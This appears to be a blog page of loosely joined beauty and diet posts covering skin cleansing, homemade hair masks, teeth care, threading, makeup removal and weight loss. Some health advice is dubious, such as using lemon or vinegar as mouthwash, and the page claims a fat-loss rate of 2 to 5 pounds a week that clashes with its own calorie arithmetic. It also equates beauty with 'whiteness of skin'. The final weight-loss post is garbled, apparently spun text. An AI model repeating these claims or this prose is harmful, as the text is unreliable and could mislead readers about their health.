• First of all apply a cream on your face and neck and massage on skin in round shape slowly. The direction of rubbing should be upward because it will maintain the flexibility of your skin.
• After massage wash your face with a little hot water. If you will do this work daily at night before going to bed, it will enliven your dead skin. When you get up in the morning, apply stringent cleansing on face then start makeup. Thus the makeup will remain fresh for a long time.
• There are specific cleansing items available in the market which includes sponges, soft brushes and hard towels. You can do cleansing with the help of these items.
• Sponge and hard towel take out dead cells from your skin. In this way dirt gets out from your skin. Cleaning should be done slowly and skilfully otherwise it can produce a trouble for you. Drink eight glasses of water daily to keep your skin fresh and soft.
Apply Moisturizer after Cleansing:
As a fertilizer works for plants in the same way moisturizer does for skin. It keeps skin fresh and nourishes it. Most of the women think that moisturizer is sufficient for their dry skin. They are totally wrong. These women should really work for their dry skin. They should drink water maximum. In the beginning they may feel difficulty in doing so much care but it will become their habit with the passage of time. Even they will feel ease in it. Women related to showbiz love their skin very much. So they should use water frequently. This is the cheapest thing free from harmful effects. After this process if you want to have moisturizing your whole the body then after taking the bath massage your whole the body and clean it with the towel. This dry skin of your body will become soft.
Precaution:
Point to be noted here is that some women consider moisturizing a part of makeup. However this is not a part of makeup but it is a need of your skin. Women who get allergies from all kinds of makeup should also do this job.

Here are hair masks for oily hair or dry hair and for all type of hair. if you have dry hair and if you try oil on hair, sometimes it may not give the desired result. At that time a suitable homemade hair mask/pack will come to your rescue. It will give a long lasting visible result. When explaining these homemade hair masks I mentioned the type of hair.
How to prepare homemade hair mask/hair pack

Homemade hair mask/pack: Egg
Here is a hair mask using egg. This can be used for dry hair as well as normal hair. As it is not containing any oil it can be used in oily hair also.

you need
yolk of an egg
1/2 cup milk
Mix these well. Apply a little oil on hair(for dry hair) and apply thishomemade hair mask on entire hair. Massage the head for 10 min. Leave it like that for 10 min. and rinse it well in normal water. Then use shampoo.
Homemade hair masks: Oatmeal
This hair pack can be used in all type of hair. For extreme oily hair use any thin oil instead of almond oil. Use in small quantity. As this hair mask contains oats that will nourishe the scalp skin.

you need
oats 1/2 cup or more.
almond oil 1 or 2 tbsp.
fresh milk 1/4 cup or more.
Mix all the ingredients well. Comb your hair and take out all the knots if you have. Make sure hair is not wet. Apply the homemade hair mask/pack and leave it for 15 – 20 min. Then rinse in water and shampoo well.
Homemade hair mask: Multani mitti
This hair mask is for oily hair. The mitti(earth) can control the excess oil on hair.

you need
multani mitti (fuller’s earth) 1/2 cup
apple cider vinegar 3 tbsp.
Mix the above ingredients using water if nedded and apply on wet hair. Leave it for about ten to fifteen min. It is suitable for oily hair.
Homemade hair pack: Parsley

his hair mask is suitable for all type of hair. Prepare a juice of parsley. Mix 1/2 cup parsley, 3 tbsp. olive oil. Apply this on scalp and hair. Massage the scalp for 15 min. After 20 min. rinse it off.
The above homemade hair masks can be used weekly for best results. As it safe you can try it more than one and see the result. Then choose a suitablehomemade hair masks and get the desired result.

Smile is the beauty of face. It relieves tensions and enhances confidence of personality. But dirty teeth are a hurdle to beautiful smile. Always keep in mind the following instructions to get healthy teeth.
• Change your tooth brush after two or three months or change the head of electric tooth brush.
• While you are cleaning teeth, don’t rub them hardly. Plaque destroys the enamel of teeth.
• Be careful about your diet as your teeth doesn’t remain clean due to your diet. if you are habitual of black tea, cigarette, coffee, cold drink or juices, it results in stained teeth. If you cant live without taking tea early in the morning or habitual of late lunch, then you should be more conscious of teeth cleanliness.
• When you are on job and don’t have tooth brush on the spot, eat an apple. Apple contains pectin which kills stinky smell of your mouth. It works as a bleaching agent.
• Avoid sweet things or sweet dishes. Include carrots, corn and salad in your food. Use specific diet that contains vitamin c because it maintains healthy teeth and protects gums. Your teeth not only help you to talk but to chew as well and make your personality attractive.
FEW IMPORTANT TIPS:
• Brush your teeth with baking powder once in a week. It removes smudges on your teeth . it is a sort of bleaching agent. You can use salt as an alternative toothpaste.
• Use your teeth to eat food not as an opener to open cold drinks.
• Clean teeth inward and outward thoroughly. Take care of your gums too.
• Hold your brush vertically. Move it backward or forward to clean them but not stiffly at all.
• Use apple juice, vinegar or lemon as mouthwash. It will clean your teeth and also kill bacteria of your teeth.
Follow the above mentioned tips and receive appraisal by all for shiny teeth like pearls.

Almost all the women forget that they lose their beauty due to a little mistake which is done by them and give a proof of their carelessness. There are found unnecessary hairs on the face such as on upper lips, cheeks and eyebrows etc. when you remove the hair from your face using different methods then you have seen that it has become dark and some marks or shadows are produced on that place. These marks remain for a long time consists on some days. If these marks remain for many days then it will cause to decrease your beauty and fine complexion. It is necessary for you to remove these marks and you should avoid producing these marks. How? Firstly when you are ready for threading then you should massage your whole the face. Cleansing can also be used for this purpose. Cleansing or massage will make your skin soft and smooth and when you will start threading on your face then hairs leave your face easily with a little force without giving you any pain. These hairs become weak by this massage and the solution which you use for this massage or cleansing will absorb in the roots of hairs and make them soft. Soft and weak roots leave your face easily. By this way when you will thread your face you will see no mark or darkness on your face. After threading apply a cream or liquid solution and again massage your face gently. Then wash your face with an antiseptic soap and see in mirror. Have you get a beautiful and natural fine complexion?

One important mistake which all the women do is to leave the skin as it is present after removing the makeup. It is absolutely wrong and harmful for the skin. When women apply makeup on their face, neck and hands etc then they feel themselves very nice and beautiful. They forget that this beauty of makeup can harm their skin. All types of makeup are consisted on different kinds of chemicals and acidic compounds which affect your skin.
The losses which your skin gets are to become it loose, dry and oily and roughness in your skin. All it is produced due to your carelessness about your skin. It is noted about almost all the women that they go to sleep with that makeup after attending the night functions and ceremonies which they have applied on them for attending the functions and ceremonies. When they sleep with those makeup then those makeup affect their skin whole the night. The chemicals and other acidic compounds produce the dark marks and freckles on their skin. In this way they lose their natural complexion of beauty and whiteness of their skin. Gradually their skin turns from softness to hardness. After some period they changed into dark skin and then they use more makeup to hide these marks of darkness. Makeup although hide their darkness and roughness but for a short time and after some period it shows its effect.
However remember always that you should wash your makeup with an antiseptic soap to remove all the chemicals of makeup. After washing your face cleansing can help you to remove those agents completely which harm your skin.

Let’s start off by learning what it takes to lose a pound. A pound of body fat equals approximately 3500 calories. So, in order to lose one pound in a week’s time you will have to lower your daily caloric intake by 500 calories:
500 calories x 7 days in a week = 3,500 calories
Use this figure to keep your goals realistic. Any diet touting that you will lose 10lbs in a week is not healthy and unrealistic for the majority of people. On most of those diets the weight you lose is water weight, which you start to gain back the second you take a sip of water. Two to five pounds of fat loss a week is about the most you want to lose.

How Many Calories To Lose Weight

As stated before, in order to lose weight, no matter what diet you follow, you need to create a calorie deficit. In other words, eat fewer calories than you burn and/or exercise to burn more calories. But just how many calories should you cut from your diet? Figure out how many calories you are currently eating per day by recording your caloric intake for a few days or by simply multiplying your current body weight by 14 if you’re a woman and 15 if you’re a man. Now reduce that amount by approximately 15%.

Current daily caloric intake X 15% = Amount of daily calories to cut

For example, if you are eating 3000 calories a day, the amount you are taking in to maintain your current weight, you should reduce this number by 15% by eating 450 fewer calories per day.

3000 calories X 15% = 450 calories to cut from daily diet

Another possible option is to burn 450 more calories per day through exercise. For optimal results you will want to combine a proper diet with regular physical activity. Learn more about how many calories you should consume by downloading our free low calorie diet plan.
As you can see, cutting out 450 calories a day is almost a pound of weight per week. And of course, 15% is a middle ground number. If you are comfortable cutting 20% of your daily calories out of your diet then go ahead. Just don’t overdo it. Cutting too many calories can possibly lead to losing muscle mass instead of fat, may lower your metabolism and create other health problems. Plus, it’s hard to keep up for an extended period of time. If you really want to lose more calories in a day try combining exercise with your diet. That will give your weight loss the one, two punch.

Fat loss has become a new dubious problem in most cases because there are a lot of lose weight programs claiming to efficiently assist you to lose a couple of extra pounds over time. How to lose weight in 1 week requires willpower as well as determination. It should be a longer term strategy along with a way to wear a particular bit of clothing in regard to a event. Why not try these simple and logical rules to follow along with on how to lose weight in 1 week.

1. Eliminate extra sugar in your meals and avoid greasy meals.

2. Drink chilly water 10 to 20 min’s prior to getting any meal, to help curb ones urge for food and promote a fast metabolism. Stay away from carbonated drinks as well as sugary sodas Try having green tea as a substitute or maybe simple water. Your system will take pleasure in that little touch.

3. Do not skip breakfast. Attempt to consume a significant sum soon after you wake up. Make sure to prevent meals which might be high in excess fat as well as glucose. Indeed, including bacon.

4. Lunch time need to include high protein diet foods mixed with various veggies. Moderation as well as balance ought to carefully be looked at. turkey breast meal or sea food meals certainly are a excessive supply of health proteins and are a useful source of power with no surplus fatty acids.

5. Eat no later than 3 hours before bed time to permit our body sufficient moment pertaining to proper digestion.

6. Get enough rest. Proper rest isn’t just a part of weight loss programs nevertheless is crucial regarding standard health. 8-10 hrs associated with snooze is especially recommended .

7. Exercising. half an hour associated with pretty quick walking and running can help drop fat in a 1 week. Any kind of moderate workout can do. Attempt to boost physical exercise duration a great time everyday for obtain the most.

Keep motivated. Attempt to advise yourself in which weight-loss is a probability. Along with as mentioned before, try to get this to program an everyday section of your life and not a brief term target to look good for a specific celebration.

Categories

Popular Posts

Blog Archive